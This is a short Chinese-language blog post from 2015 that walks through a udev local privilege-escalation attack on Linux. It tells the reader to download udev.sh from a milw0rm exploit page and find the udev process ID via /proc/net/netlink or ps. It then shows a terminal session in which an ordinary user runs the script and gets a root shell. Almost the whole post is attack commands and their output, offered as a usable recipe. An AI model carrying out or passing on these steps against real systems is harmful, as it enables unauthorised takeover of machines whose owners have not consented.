Contents ...
udn網路城邦
udev漏洞普通用戶變root
2015/11/19 13:03
瀏覽181
迴響0
推薦0
引用0
1. 在LINUX目錄下建立test 帳戶

2.下載udev.sh腳本 在http://milw0rm.com/exploits/8478

3.查看UDEV的PID

方法一:

先cat /proc/net/netlink

ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2

ffff810037f81000 16  0      00000000 0        0        0000000000000000 2

ffff810077078400 18  0      00000000 0        0        0000000000000000 2

那個364就是 UDEV的進程,如果出現很多不知道哪一個用方法2

方法二:

另外最好通過ps aux | grep udev獲取pid 為365,然後再-1,把這個參數傳給A腳本

然後在test 用戶的當前目錄 裏

按以下步驟運行

[haha@localhost ~]$ id

uid=501(haha) gid=502(haha) groups=502(haha)

[haha@localhost ~]$sh udev.sh 364

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.1# id

uid=0(root) gid=0(root) groups=502(haha)

此時的UID 變為0了 ,test用戶已經變為 ROOT用戶

限會員,要發表迴響,請先登入